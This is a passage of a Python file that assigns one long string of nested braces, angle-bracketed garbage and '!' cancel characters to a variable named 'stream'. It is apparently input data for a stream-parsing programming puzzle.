#!/usr/bin/env python # -*- coding: utf-8 -*- stream = "{{{{{{{<\"\"!>,<!<'}'ui!!!>!!!>!<{!!!!!>>},{}},{<<'\"i!!a!{oe!>!!e!!!,<u!>},<a>,{<}{a\",!',!!!>},<u,!!!>!}<,'!o<!>,<>}},{<!!!>'\"i!!!>u!>uai!<o>,<i!!!>!>},<!>,<!>!>}o!>},<!>,<!>},<!>,<!!!>>}},{{{<!!,!!!>oo\"!!a>}},{{{{<i!!!!{,!!}>}},{{{<a>},{{<a!{!!>}}}},{<!>!!i'!!!>\"\"\"!>>,{}}},{{},{{<!>'!>,e!>},<e!>},<,,{\"{\"!!!>'>}}},{{{{<\"ao!>!!!><!>,<!!}{{!!euai>,{<{!>,<!>!>,<!\"u}<!,>}},{<<!>,<!>,<<<}a!!!!a!>,<>,<!!uu!>!!!!!>!!\"oe!!,o{!>},<}!>},<<!>!a!!!>>}}},{{{{<>}}},{{<!ei}\"!>!!!>!!!>!!!>!>},<eu<!!<>,<\"!>},<i!!!>!>},<!>,<'!!!>!!io>},{{{{<}!!!><!>},<u!!!},!!!>!>},<a,!!<'>},{<'!>,<!!>}},<<!!,au!!uu!!!>,<!!{o>},{<e}!!!>},<!!{'{eu!!,{!!aei!>,<<!!,a!!!>>}},{{<u!,>},<}{a!oei!aa,}\"!!,e!>!!!>'!!}{>}}}}},{{{{<u!!!>!!i!!u!>>},<'!!!>!>},<!>,<!,>}},{<,!!!!!>,<'!a!!!>,<{!<>}}},{{{<,,'!>,<}i'!>,!>},<o<!>>},{{<!!!>!!>}}},{{<'!!>}},{{},<!>},<!>\"o!>,<!!!>!!!>>}},{{<e!>},<<}{<'!>,<!!!!!>!>,<!!!<eo!!!>>,{}},{{{},<>},{{{<oi{,!!!>}!<e\"<ueu!<!>>},<u!>,<!!<\">},{<!!!>!>,<}!!o<<e!!oa!>,<!>,<e!!!>{>}}}}},{{{<!,!>},<u!!!>'>},{<!!\"!o!!\"!>o!!i>}},{{}},{{<>,<!!!!<!>},<!!!>a}i{!>ii!><>},{{<u!{!!!>!!!>},<u>,{{<}{u!,u}{>},<}!>},<ie!>,<<{u!!!<!>{\">}},{}}}}},{{{{{},{}},{{<{e{!!!>i!>,<a!>uei\"!!!>},<,!<}!\"!!o>,{}}}},{{<>},{{<,o\"i!!,!oe!>},<\"}o!!!>,{i!,u>}}}},{{},{{{<<>,{}},{{{<!!a!'a}!!oeu}>}},{<!!!!!!i!>,<,'!!!>!!o>}}}},{<e<oa!!!>u!!!!!o{'!>ai>,{<e!!,!!!!!!,,i!>},<!a>}}},{{},{{<!>!>},<!!!}i<'<i<>,{<!>,<!!!>}u<i<{!>},<!!!!!>oue!>,<!!!>,<u'>,{<i!!!>},<!!ee,!>!>,<!>},<!,>}}}},{{{{<!\"!!}!!!!{}!>,<!>,<!>,<!>,<!>,<!>},<'!>,<!>,<!>>},{{{{<a<!!au!>>},{<!!!>a,!!!<\"'!!>}},{<ae}!>,<,'>,<!>i!}!>,<,!!'!!<!!}!,}>},{<'!!ee!!i!i>,{}}}},{}},{{{},{{{{<i!,>}}},{{<!!!>o<a{!!!>,!>eei>,{<}}!>},<<!!\"!>},<a!!!>ie!>},<<!!o>}},{<!!!>!>,<!'!!!>!>},<!>},<{}ua}uuu}o>}}}},{{{<o{!!!>oe!>},<!!!>'!>,<u!!!!o!a!!!>i\">,<a!>},<u\"e\"}!>},<{i\">},{<}ui\"!!!>\"},!>,<!o\">}},{{},{{<!!o,!>,<!>,<{io\"!\"e<,!!i!o}u\"\">},{<!>,<e!>,<'!!,'a{\"!>,<\"o\"ui,>}}},{{<e},u}!>\"!!!!,ia<!>}>,{{<!o\"!>,<'o}!!!!\">}}},{{{<!!!>!>!>},<>,<ao>}}},{{{},<!!!>,<!!!!!>!>},<!!!>\"e!!u!'!!!>>},<!!!>},<,e!!{!}u!>>}},{{{{{},{<u<!>{<o!{<!>},<\">}},{<\"!>},<\"!>},<!!!!!!{>,{<e!!,}!!!!>}},{{<i!!!>!!i<!!!>!!!>,<>},{{<!}!!!>e'ii<!!!!e<!!!>e\"!!u!!!>>},{<a\"!ii>}},{{{{}}}}}},{<<!,!!e!!!}{}!}!>},<>,<\"e<!!!>},<!>i!!}{u!>},<!>,<!!!>},<\"!!!>a!!!!>},{{{<e!!!>\"iu!>},<!!{}{!}!!!!!>a!!,>},{<ai!>},<!>,<}}!>!!ee{!><!!!!!>!!!!,!!'!>>}},{{<ue!{e,u>},{<o}e!aai!!!>}!!i}>}}}},{{<}o!>\"{!!!e!!\">},{{<>},<!u!!!>!!!>},<!>},<!><>},{{},<e!!oo>}}}}},{{{<<!!!><}\"uu!!i!>,!!!>,<!!i!>},<aa,!,e>,{<u>}},{<!!!!!>a<}>}},{<!<<uoe!io>,<!!!!i!>},<{ui!>},<'\"u!!{>}},{{{{}},{<{!>!!!aa!ua{!>!!!>!!{{>}},{<i!\"\"i!!!!!>''ueu}o}\"!>,!!!>!!!>>,<'!!!>!>!!!>!>!i,i!i!,!oie>}}},{{<u{!!}\",a!>},<oi!>!>!!!>,!!!\"'!!>},{}}},{{<!!!>}}!!o>},{<{'a!!ia'o!!!>},<o!!!>},<\"u>},{{{{<o}!>!!!!'{!!!!!>\"!>,<>},{}}},{<!>u!\"ooi!!!>!!>}}}},{{{{{{{<!>,<!>},<{!>},<!!!>},<}!>{i!>!!{!!!>!>>},{<!!!>},<!>},<!<!>},<<!u!!}iao{!!!>!!i,!>,<!}i>}},<,{!!'!!!>!!}ua>}},{{{<ou\"e!!!!a!{{\"!!<'!!\"i>,<!!!>'u!!o!!!>},<!!!!a,o<u\"}>},{<}i\"uo{!>>}}}},{{{<!!!>\"!!!>!!aioiii>}},{<!!!!!>!!!>!>,<e!>,<e}}\"!!'i\"u!>},<!u<au>,<!a!!!>a!!o!!}!o!!!{}!>!!!>a{oo!>e\">},{<!>},<'!!!!!>\"a'<!>!>,<o!>},<u!!\"a!>\"'<>,<!!a'>}},{{{},<>},{{{{{<!!!>!!a<u<e'!,\"ai>},{}}},{<oio>,<!!!>,<<uo!!!!}!!!>>}},{{<!!{'!>>},<,<!><<!,>}},{{{<!>},<!!o{\"!!i!>,,!>!!!>!!!e<e>},{<!!ei!!{\"!>,<!!e}!\",!!u,!>},<>}},{}}},{{<ia!>,<!!!>,<<o'{!!\"}u!!{\"<!!a>},{{<i>},{<{{'>}},{{},{<>}}}},{{<!!a!{,!>,<!>},<i!!!>,<>,{{<!!<'<}'>}}},{<}!{!>,<!>,<>,{<e{!e!>},<!!{!!!>>}},{{}}},{{<\"e,!>!>{<!>!>,<a,\"!!e}e>,{<<!><!!!>!auei!>},<!>>}},{<!!a\"'{!\"!>,<!><'e{!!<<>},{<e}!,{u{!>,<>}},{{{{{},{<!!!>,<!!!>!>,<!!!!{!!!!'{>,{{<!!i'!>},<ua!e{}}!!!>!>,<u!>>}}}}},{<!<!!!>},<i<!>},<!>,<!i{o!u''\"i!>,<<!>!!!>,<>},{{<!>ea,a!>,<!><!}>},{{{<{!!{!>,<<!!!>!!!>'!!!>\"{\"!>!!\"u'!e!>},<!!>},<}{,{>},<!>},<eio!>!!'!>,<\"!o!>,<,!>,<!>i!>\">},{<>,{<!>},<!>},<\"\"!>},<!!!!!!!>!>!{!!u!!!>e!!!>\"o>}}}},{{},{{<!!!>!a!!{!>},<o,!!a!!'!!!>>},<'!!i>}},{{{},{{{<e>}},{{<!!!>a,u!>},<!!o!>},<!<u}!>},<u!!!!!>!>},<'>}},{{<}!!}\"!!a!!!>{iu!>!>>,<!!!!!!!>\"!!,,}{}!\"!!e\"<i!!!!!>>}}},{{<'{o!!!!a!>{!>,<!!euou!>},<e!!!!!>,<>}}},{{},{{{<\",!!i!!ea{\"},>},{<!>},<!'<!!}>}}}},{{{{},{<<}!>}o!!!>!!!!!>!!a!a!>},<!>},<>}},{{{{<'>,<<u\"!>,<}!'e!!!>,iao,<a\">},{{<{!>},<!!>}},{{{},{}},{{{<ae!!<,{!>,<o!i<>}},{{<'!!!!!>},<'{!!!>>},{}}}}}},{<i!!!>a!!!>},<!>!>!!{i!e!u>,<io\"u!>},<!>},<}a>},{{<,!>},<!!!>e<!!'!!!>},<i!!!!\"!,''!!!>,!!oo>},<i!>},<'>}},{{{<!>},<!!!>!>!>,<'!!!>}}>},{<a}}!>},<e!!a!>,<!!!>!>,<>,<!!!>\"!!!>!!!!!><!>},<a!!!>!>,<!>},<i\"\"!>,<!\"!!!>!\"!'>}},{<!>},<!eui\">,<!!}e!!!>u!{!!{!!!>},<i!>,<'o!!i!>},<!>,<>},{{<>},{{<oo'!!!i!>,<!>,<!,{{a>}}}}},{{{{{<>}},{{{{},{{<!i!>i{ua!!!>},<e!>!!{o>}}}},{<!<,!>!>},<\"'!>u'!!u!!<<!!\"!>}u}>},{{<!!!>}!>!!!>,<>},{},{{{{<!!!>!!!>!!!>!>a}}!>i!!!>!!uu>}},{}},{{},<>}}}},{<\">,<\"!>>}},{{{{},<!{!>,<!>,<!\"u,!>},<>},{<!>},<a!!{{u!>},<a'!!!>i!!!>>}},{<e\",!!',\"aa\"i{\">,{<>}},{{<!!!>!>,<{!!!!!>,<>,{{<!>,<!!!>!!<!!!>,<i!>}a!!!\"!!!!u{!!i>},<}!>},<}!!!!!>,<\"!!!>,{\",!>},<!>},<>}},{<<!!{!>,<>},{<a''}e>,{<!!!>,<!>!!\"'!!!>'!!a}a''!>},<oe'>}}}},{{{<<!!!>},<!>,<\"'!!!>!!!>,<'!}!!u'!!!!!><!!!>,<>,<!>,<<!>o}a>},{},{}},{{}},{{{<}\">}},{{<,!>ea!!!>,{!>},!>,<{!>},<!!{}<o>},{}}}}},{},{{{{},{<\"'<!>,<!!i!><a!>},<!!!,}u!>,<!o>,<>},{}},{{{<!!,!!i<'\"e'\"}'{ue{!!!!<!>>,{<{o<!>},<!>},<!>!{\">}},{{<e!!!!!o!>i!!!>!!!>},<!!!>},<'o!!!>!>,<>},<}\"a!!!!!>,<!>,<}'!>,<'\"!>!>},<{<!\">},{{<'!>,<ea!!a!>,<!a!!i{!>},<!>},<!!!!!!<}<>},{}}},{{{<auo'<u'io!''!!!>}!}a>,{}}},{{{{<\">},<!e>},{}},{{<!!!><!>,<!!!>!!\"<u}!!!!!!!>}e>,{<!!,\"a>}},{<!!\"aa!!,!>},<<e!>},<u!!}!>,<'a{!a>}}}},{{{<!>!o{{!!{!>,<e!<!!!!'o\">,<a!\"<!>eu!\"i\"!!'!!\"\"!!!>},<\">},{},{{<!<iu!>},<!\"!>!!!><>},{<{!>!>,<!>},<o!>},<\"!>,<a!!,!>oaiui!>,<>}}},{{<}!>{,!!!!!>!!!>,<u<eu!>},<,!!!>e!!!>,<!>,<>},{}}},{{{}}}},{}},{{},{{{<u'!>!!!>},<i!>'!!!>\"!!<!!!>o!!!\">}}}},{{{{{{<!!!i}!>},<{!!!a!!!!!!>},<\",e!!!>!oe!!!>,!'o!!\"!>},<>}}},{{{{{}},{{<!>,<i\"a!!'!>,<!>o!>!!!>>},{<,i}{!>},<!>,<!>,<!!!><!>},<!!<a\"!!!>!>,<>,{{},<ue\"<o!!!!!>>}}}},{<\"au!{e\"!>>,<i!>},<{,i!>,<!>>}},{{<i!!!>!!!e>,<>},{<!!!!!>e{<!>,{a!!ee\"!}!>,<,}e'>,<!!!>o}e!><!>!{,!>!>,<{!!!>!'}<>},{{}}},{{<!!!}io{!!ou!}eu>},{{{<oi{}!!!!!>ue!>,<a<!!e!>,<>},{{{<\"!!>}}}},{}},{<i!!!>\"'{ieau,{u}!!\">,{<>,{}}}},{{<'!,!!!>},<}!>},<!!'!!i!i!!!!}a!!!>!>,<!!!>!!!>!>},<>},{{<!<<!!!\"'','!!a<'!!!>,<\"aa>},<ea}!>},<!>},<a\",<i'<<!>},<\">},{{<{!!!>,<!!!>,!!u!>!!a!!oai!>,<!>,<!>e}>},{<ue!>},<o\",!!!>!>},<}!>,<\"!!!!i!!!>!}ae{>}}}},{{{{<\"o}}{!!!>,<'!!>,<!!a{!!!>>}},{<e,!!!>'u!>},<!!!!!!!!!>\"!>,<>,{<!!!><!e'{e,o{\"\"!!!>{!>{!!>}},{{{{<i!<!>!!!!!>'e!!a,}ea,i!>>},{<{!!u!ao!!!,!!{!>!!!!!!!><\"}!>,<u!!!!!>,oi>}}},<i,}!!!>>}},{},{{<!!!>},<<!!ai!>},<!i!!!>,}>}},{{{{<>},{<!>},<,o!!<!!ai!!'!>},<u!>},<i<!a>}},{{<,!>}<,<!!!>\"!!!!<!!!>i!!!>>},{}},{}}}}},{{<o!!!a!!!>,<>,{<!>{!!!!!><{!!u!!!!!>o!!e!'i>}}},{{{{},{<!!!>!,i!!!!!!!>!\",>}},{{{<aou>}},<a!!}!!o}>},{<!>,<!!!>!!!!!>'!><u<!>,<o,!'{!!'ui!>,<>,{<{!!!>,<>}}},{{{},<!>,<!>},<!>},<ae,!!!>,<!!a!!\">},{{<<}!!!!!!}!>},<<!!\"'>}},{{},<!!!>},<!!oao!>,<!!a!!!>!>},<{,\"o{i!!!><>}},{{{{<au!>},<a}{>,{<\"\"!<'u'!!i>}},<!>{>}},{{{<!>o!>!!!!a!!e<!<!>!>,<!!\"!>,<>},{<\"!u>}}}},{{<\"'!,!<!!!>!u!>,<!>,<o\"!!!!ie>}}},{{{{<a,e}<!!!>},<>},{<,!ou!!!>>,{}}}},{<!!>,{{<!!u>},{{<{!>},<!>}!<ue!!!>,<e!!}>},{<<!>,<>,{}}}}}}},{}}},{{{<!!oi!!eauo>,<u<!!!>o>},{},{{<'o>,{<}!!ua'\"o<e!!,>}},{{{<!!!>{}{'!!'<!!!>i{\"!>e}!>a<!!!>>}}},{{},<\"{!!u!!}!!<!!!>,<<!!!!!>!!!>!>!!,u,\"u{>}}},{{{<,\",'!!!<o,\">},{}},{{{<!!!>!!!>,<<io!!!!,i\"'!>,<i,!>,<{>},{}},{<!!ueu!!!>'!!>}},{{}}},{}},{{{<!>,<\"{\"}\"oaa!!!>o\",!>},<a!{'!>!!!>,<>,<!!!>!!e!!ao,>},{{{<,!!!,u<!>},<!>},<uoo<ee!!!>\"o>}}},{{{<u!!!oi!!'!!!><e\"e!>,<!!,,\">},{}},{}}},{{},{{<a\"!!'!'!!!>eo!a!>},<\"!<<!>},<!u!>!>},<u!!!>>}},{{{<a!!!>!>},<!!!!!>,<>}}}},{{<{i\"}!i'!!}a!!i!!{,}}'!!!'!!>,<!a>},{{{<o>}},{}}},{}}}},{{{<a!>},<<\"}u!!'!>!>},<!!<>},{{},<!>},<\"a!u!\"\">}},{}}}}},{{{<<i!!<<}a{a!>,}!!!>a!>}'>},{{{{{<}!!!>'{!!!>!!!>!>!>},<!>},<i>}},<!!a>},{{},{<>}}},{{{<u!!!o!>,<!>{>},{{},{{{{}},<\",o!>!!,!>,<e\"!!a,!'}!!!>a,!!!!!>>},{<,i\"}>,{}}}},{{<!!!>>}}},{{<!!!>e!>ee<,!>\">},{}}},{{{<!>},<!>\"!!!>{u,!!!>},<<!,e>},{<!>,<!!!>{!!>}},{<<,eu,a{>,<!>!>,<\"a{!!!>a!eiao{!>},<!!!!!>!!u!e!!<>},{{},<!!!>},<!!!>},<}'!!\"a,e\"!>!{!!!!}>}}},{{<!!ou'uuu!!!!u>},{{},{{{<!!!!!!!!!>,<\"a,>}},{}}}}},{{{{{{{<<'!!!><!!!>'!>!!!>!!\"!!oe}<\">},{<u!!!>>}}},{{},{{{<\"!>}!!,!>,<!!!>,<!!!>u\"u}>}},{<!oe}!!<{!!aue>}},{<!>,<\"!!!><<!<u!>,<{!e<!>,<!!!a{oa!>>,<u<!u,o,>}},{<!!!>},<!!!>i!>!!!>!!e!!ua!!\"!''!!!>!,>,{<!!i{ao,{!!\"a!<,{!>},<!>,}}\"!!!>},<>}}},{},{{{}},<!>,<eu!>},<,!!!>!>,<'!!<!!!>},<!>,}!>},<,\">}},{},{{{},{<!!!>!>>,{}}}},{{{{<!<!!}a!>},<\"!>},<\"e!>,<a!>,<!>,<<!>ao}>},<,e!}<!!!!a>},{},{}},{{{},<>},{<!!!{!>,<\"<!>},<!!!>ea!><o,o{o,>,<!!\"!!!!!>!!'!>,<\"{\"!!oua!>!>},<,!!!>a>}},{{{<\"!!!!!!a\">},<!!!!!>,<eoa!!!>>}}}},{{<<i!>\"oua,{>,{<\"'!>},<!>},<!>!>},<,i!,}i<>}},{{{<}!>,<o}>},<}}a!>},<!>!!!!'!e!!!>,<!>i'i>}}},{{{{<!>},<!!!ao'<ia,!!{<uu!i!>},<i{a>},{}},{{{<'!>},<o!!!><!!uo!!}!>},<u!>,<{!!!!!>aa>}}},{}},{<!>,<}eauo!>\">,{<!!a<!>i<}!>\"!>,<ea>,<oeii>}}}},{{{{{<\"!>},<\"!>},<u!>},<o!!,u!>a>},{{}},{{<!>,<!>!!!!!\"!>'ii!!!!,>},<!uou}!!!>!!ea!!!>!>},<!!!!!>!!iu!!!!!>},<'!i>}}},{{{{<{!>,<'>}},{{{<i{,,!!!>},<!!!><'<,!>,<a<'u!!!!}!!\">}},{{{<!<o\"'!!!>},<,!>},<<>},{}},{{<\"\"<!>,<{,!!\"\"'e>},{{{<!>,<>,{<!!!><!!!!!>{!!!>},<>}},{}},{{}}},{{{<!!!>e!>,<!>},<}i'>}},{<iu>,{}},{}}},{{{}},<!!{\"!!'!>},<!!!>},<>}},{{<a!!!>a!!!!!>!!!>!>,<<\"!>,<!}u!!!>!i\"o!>\">},<>}}}},{{{<o'i!>ieio!>,<e>},{}}}},{{{<<ie!>,<>,<\"!>,<,!>,<<'<!>,<ae!!!>,<'\">},{<!!!>'a!!!>ae<!!!>!!ue,{!>!!!!!>!u>,<>},{{},{<!!\"!!}!>,<<!ae!u!!<!!u!!!>o,!>>}}},{{{<e!>,<!>},<o!!!>},<ii!!!>!\"!!!>>},{<a!!!!!>aa!!!!!>,<!!<'}\"!>e<'>,{<!!!>,!!{i}{\"!!auu,>}}},{<!>,<\"o!>!><o,!!\"}uo<>}}},{{<\"!!!}a>,{<!!!{u!!<u!,!>!},!!!>a!!''!!!!!>{}!ao\">}}},{{{{{},{{<!>,<a!>\"{'\"u}!{\"!>,<i!>},<!>>},<!>,<!!!>'o!>'!!!>!!a<ui>},{{<{!!!!!>o!!!>,<!>},<a!i<}!>},<!!>}}}}},{},{{},{<<a\"i!>},<!!!!{!!!{!>},<,!!!>o>}}}},{{{{<!>,<\"!>,<{e<,!>!>,<e,!,,\"!!i<<!i>,<>},{{<',}},!!'!>,<\"!>},<{!i<!e{>},{<!!!>u!<}\"!!!>!>!>,<!!i!>},<!!!>{'>,{<e!!eau!>},<,>}}},{{{<!!<'!!!>},<a}!!!>,<>}}}},{{<!o!!!><{i!!!>e}>,{{<<,!>,<!!!u,!>},<!i!!!i!!!>,<e!>},<i{,>}}},{<!>!>},<<u'!!!>!!}\"!>},<e!>},<,!\"!!!>a<!{!!!>>}}},{<}{o!e{!!!>a'!!!>e!!!!!!u!>,<!!!>},<>},{<ueo!!!!!>i!>,>,{<!!,!!ae!>,<\"!!!>i!>,<'!!!!o<>}}}},{{{<>}},{{{{<u!}!>,<!!!>{!>!>},<!!!>>}},<!!!<!!!>!>!>,<i,!>,<a!!!!!>aoau}!>},<}o>},{{{<>}},{<!>},<!a,ou!!,>,<!o,}>}},{{<ou,,!e}>,{<{!!!>}}a{'u<>}}}},{{{{<!>,<!i\"!!!>!!u,i!>},<!!,!>!!,!!!>,<!>>},{{},<}!!}!<!ia!!\"<!>},<a!!!>!!e'>}}},{{<u!u!>},<<!>},<!!\"\"!>!!!!i{>},{{<ia!>,<{!>!!!!!>o!!ii!!uoi!!!><ui>}}}}}},{{{{{<!>,<}>},{}}},{{{{<!>},<!>},<!aau{!u!>}!>i!!!>\"ai>,{}},{{<{\"!!i{'<!!!>,<>},{{{<!>!!!a'!>,<!!!>{'!!<i\"eio,e,o>}},{{<!!!>,<!ae!>},<>},<!!!>!!!!e!'!!a!>,<!!!>a!>!,u!!!>i<>}},{{<!!!>'>}}},{{<!>},<''!>,<{e!>e}!}!!!>!!'!>},<!iui>}}},{{}},{{{{{<u!>},<!!a!!!u,!!!>,\"!>,<!!!!\"'!!u{u{>,{<!>,<!>!!!>\"i,\"!>},<iu!!!!e'>}},<!!u{!>},<i!!o!!\"u!>,<!>,<i,<ea>},{<!!e,!!!>}!>,<}!>!ae!!uu!!!>,<>}},{<!>},<}!!!>iuaa!oa}}!!ia!>i\">}},{{{<!!!>e{,o!!}!!iu'>,{{<!!!>ui!!!uau<e!>!!!>>},{}}}},{{<!!{!oa'!!}<!!e>}}}}},{{{{{{<i!!!>}!!!>!!{!>},<!!}}!>,<>}}},{<>,<!{!>},<!!}\"!a>},{}},{{{<{ie!>!!,!>,<{!!'!>},<!>,<!!!>,!!!>>},{<!>!!>}},{<'<!>u<!!!!<u!!!>o<!!!>!>},<!!\"oo>},{}},{{{}},{{{<u>}},{{<!!!>},<!{>}},{{<!>,!!!>!!<'!!u,>},{<o!>},<}e>}}}},{{{},<{!!!!!!!'{<i>},{<>,{{{<{'i!!\">}}}}}},{{{<!'<<,!!iuu{!!!!!>!!!>!!!!i!>},<e{}>}},{{{{<aa!!!>,!!!>,<>,{{<>}}},{{{}},{<!!!!!>a!!}>,{<u!<{!!'!!<i\"{!!!>},<!!\"u\",>}},{<!>},<!>,<'\">,<{'i!>},<}!<ao!!!>!>},<!u!e,o,}'e!>,<>}}},{{{<ia<'{!>},<,'!!o!!!>,<!!!>!}o!!iei!>},<!!!>>}},{<!!u,!!!!!>!>},<!!!!!\"ae'!!!!\"!>>}}},{<u!!,!!!>,<!!!!!>!!!!e!!!>!!a>,{}}}}},{{{{{<>,{{<<}}!',}!>!>,<oa<!>,<o}e!!!>ia!!u>,{}},{<e!!,'!!!>a'>}}},{{{},{{<!!<iu{!!!>iu!!!!!>!!ae>}}}},{{<'\"i!>,<e!>!!{o!<>,{<,!>!>},<!!i,!>,<{\"e}u!>,<{<i>}}}}},{{{<}}!>},<'a!>},<!>},<\"i<{e<i!!o!>},<,>,{<<ao'<!>},<a!u<o!!\"'o<,{>}},<e'!!'>}},{{{<!{!>},<<!u!>!>},<!>},<ei!>},<o\"!>},<!!!>a!!ii\">,{<,!>,<,,}!>,<a!>i}a,\"o{!!!!>}}},{}}},{{{<<u!>},<!>''!!o{!!!o!>,i!>},<,>}}}},{{{{{{<}!!!>,<a<!>,<!!e!>},<!!!!!!ao>,<!!<!>,<,!}!u,a!!!>},<eo>},{{{<!!!>,<!!!>!!!>},<,!!!>},<i>}},<{!!!>!ao!a\"\"o!>!!!!a}!!o<!>},<'!!!>>}},<i<}o'!>,<ae,!!!>,<,iu!!i<>},{{{<!!{a!!<u,!>},<'!>},<!>!oi'!>},<!>,<}a'!>,<>}}}},{{{{{{<!>!>!>,<\"!>,<oau!>u,{!!!>a>}},{<!>},<!!!!}\"!!!>a!>,<!!a>}},{}},{<!!!u{!>,<!o!aa<i{\"!{!!<<>,<!>,<!!!>a'>},{{<\"o!>},<!>},<<{u!>},<{\"!>,<a!{>},{},{{<!>},<<!>!>!>,<!>,<<u!>},<o,}>},<\",i!!!!!!!!<>}}},{{},{}},{{{<ia!>,<{!},}!uu,'}'{!>,<!>},<!>'!>,<>},<>}}},{{<}!>,<!!uu<{!!!>,<\"!>!!!!i!>o'!>,<,>,<!!>},{{<}{!>,<<e'!>},<a<!!!>}<u!!!>,u}>},{}},{<!>,<<\"!!!{a!>,<!>,<!!!}!!!!!>},<u!>},<{e,>,{<!o<o{!!!>,<o}!!{>,<!>},<\"!!a!>>}}},{{{{<!>!!!!!!!>!,{}a!!\"'!!o!>!!!o!!!>!''>,{}},{{}},{{}}},{{{{<!>},<>},{<i<!!!>!>,<!{e>}}},{{<!>},<{u'{a,!!!!!!a<a!>,<au!>,<e>},<'!!!>,<o,!!\"eo!!!!!>!>!e!>,<ua!!{u>}}},{{{<<>},<iao',a<\"e!>,<\">},<!>},<!!,a!>a!!!!!>a!!!>!!!>u>},{{},{{}},{{<oo\"!!!>!>},<>},<,,,!!!ie'u!i!>o!}!>},<i!>},<ao{!!!>>}}}},{{{<'{'i}aeoo{!>,<aie>,<a'!!}!>!!!>,!u!!!>>}},{{{{<!>!<}>}},{<!ui!o!>,<o!!'!>,<a>},{<!>,<{!e{'>}},{{{<<!>,<!!u!!!!!>!i>},{<\">,{{}}}},<!!!>,<e!>!ua!!\"!ue',!}au!>>},{<!\"'i'!i!>!!'<a!>},<a!>,<a!>,<{>}}},{{{<a!>,<\"'<>},{<,'>}},{{<i'\",!>},<!>}>}},{<\"}}o{!!{!},!<}u!!>,<!>!>},<i!!!!!>,<'i!!!>},<!!!>e,!!o!>},<'o!!!>i!!>}},{{<!!io!!!>!!}!>,<a>,<!>},<!>,<!!!>,<a!!!>\"}<!!!,a!!\"!!o!,>},{{},{<!>,<!!!!!>\"eo'!!eu!>,<!!\"!!'!!!!!\"!>,!!!>{}o>}}}},{{{{<iu!!!>,<}!!\"!>},<\"!>},<!!<>}},{{{<a!!!!o}}}!!!!!>!!!>,\"o!>,<>}}},{{<!a!!!!!!!>},<>,{<e!!!>a!>},<!>o<!!!!,oiu\"}'>,{<!!!>,i!!\"i>}}}}},{{{{<u}!>},<i\"{}!>},<e\"!!!>,<e,!!!!}u>},<<a!!!}!!i!>},<}\"!!a}{u>},{<!!}'ei!!!>!u!>,<!\"!!!>!>},<\"!!!>>,<,o\"!>},<!>},<!!>},{<o<!>},<!>},<<!!,>}},{{{<\"!>},<}{,a!!!>>},{{{}},{<u!>},<oi!>{o!>,<i!>},<!>{<!>,<}!>},<i,a>}}},{{<}\"o,\"!!}!!{!>},<}!>u>},<e{e>},{<ue'}!!a!!}'!>},<{>,{<e!>},<\"u!eui{,!>},<{{'o>}}}}}},{{{{},{{{<!>},<!!}>},<!>!>,<u!!o!>,<!>!!!>!!!>!!!>!>}',e{!'!!!>o>}}},{{{{<!!i<'\"!>},<}!!u!!!>!!!>!>,<{>},<e!eea\"!!!>!!e}>},<>},{{{<{!!!>,<e!!!>!>,!>'i!!!>!!{'!!!><ia!!!>u>}},{<!>!!!>},<,!!!>!!!>}o\"!>>}}}},{{{<i}!>,<!,!>,<!>!>!>},<>}},{{<e{!>},<o!!!>!>},<\"}!>!>,<!!!>!!!>a<u>,{<,!>{,<e<i<eo\"!>,<,}o',!>,<>}},{{}}}},{{{<'<!>\"!'!!!!o!\"!!{!>,<,!\"u{<,!\">},{}},{{},<aa!>}!!'!!!>!eaae{!!!>},<!>oo>},{<!aoa!!>,<!>},<,!!!!!>!i,!>},<a>}}},{{{{{<a}!!!>,<!!!><a!!i!e<u\"!a}\"i!>,<!e>}},<!!e!!!>,!>},<!>!!>},{<!o!>},<<!!!!{!!!!e!!o!i!!!>!}!!!{>,{{<}i!!!>!!\"!>},<!>},<eo{u\"{!!!>!!i<{>,{<e!!}<}!>},<a!!!>,<!aea!!{<!!!!\",!>,<>}},{<{!>>}}},{{<!!}!>,<{}'e!<>},{<<i!>!!!>>}}}},{{{},{{<!>!!a\"<u!!e!a!!a{!>},<!!!>!>,<>},{{},{{{},<e{!!\"!>},<!\">}}},{{{<!>!,!>,<i'!!e'o,!}!ie}>,{{{<!!ei!!{>},{<!>,<'!>},<!>,<\"<}<i!>,<i>}},{<!>eu{i'!!oou!>,<<!>,!!!!!>}o}!>,<>}}},{{{<>},{<i!!aao!><!>},<>}},{{<!!!>!!'<!!!!>,<e!!!>'>},{<!>!>},<a!!\"i!o!!!a!!!>!!,\"\">}}},{{{{<i'<{'>},{<!!!>,<!>},<{e,,!>},<!!a{!!!!!!!!!!,>}},{<a<!,!>},<'!>},<!!}'!!\"!\"eo!!!>,<!>,<!'>,<eei!>},<<ue'!>>}},{}}},{{<!!!>ei{!!!>\"}i<>},{<!\"!!u!!!>,!!!!\"!>,<!!e,,\"<iu!>!!}!e!!{>},{{<ae}!!iiaaoou!!i{}!!}!'>,<\"!!!>{a>},{{<!!o!!!>u\"!!\"{!>},<<!>,<!>},<o!!!>o}!>},<!{!!!!'!>>}}}},{{{<},!>,<!!!!!><!!!!!><!!!>!!!>>},{{{<!>,<>}}}},{<e\"!!!>>}}}},{{{{{<!>,<!>,<>},<!!!!!>e!>},<a!>},<u!>},<>}},{{},{<!},\"!}!!{o{'!!'ie>}},{{<!>!o{e!>},<!!!!e!!}i!a{>},{<\">}}},{{},{<!e\"a!!!>{!!!!{a}'!>,<!!!>{!>,<!!!>>,<o{a!!!\"<!o<!>!!!!o!>}!>!!\"o!!{\"!o!!!>>},{{{<!!!>'!>,<<!>!!!>e,<{!>!!,>}}}},{{{{<>},{<,!>},<!>'\"e>}},{}},{{{<>},<a{,i,!>,<!>,<!!!>,<!<!!!>!>},<!!!!!!!\"!!!>},<>},{{<>},{<!!!>u!a\"!>eae!!oi<!>i<o!,!!!!!>>}}},{{},{{<e<ua!!''!>,<!>},<,u!!!!,ue>},<{!>,<>}}}},{{{}},{{},{{<}\"}!!!!,!!!>!!!!!>!>i<>},{}},{<!>},<a!!',{,oi!>},<\",!!!>u!!!>!>>}},{{{<ou\"!!!>e!!\"!!!>'>,{<!>!>,<!!{,!>},<!e>}},{{<!!i!!e!>!>},<!!!>!>uu\",!!e!!!>a}i!!'>},<!!e'!>!>,e!!\"i!!!>}i!ui\"uo!!>},{<a!!!>}e>,{{},{{{<<i!>},<ea!!!>,<!!\",i!!}!>,<'}!>,<<!a!>},<!!!>!>>}}}}}},{{<!i'!!!a!!!>!>!>e>},{<!>,<!>a'<o,u!!!>!>},<o'<!{o,i>}}},{{{}},{{}}}}},{{{<!>,<}\"}a{!!!>!!!>!!!!a{!>eiu>},<,!!!>u>}},{},{{{}},{{},<!>},<'i!u'!!!>e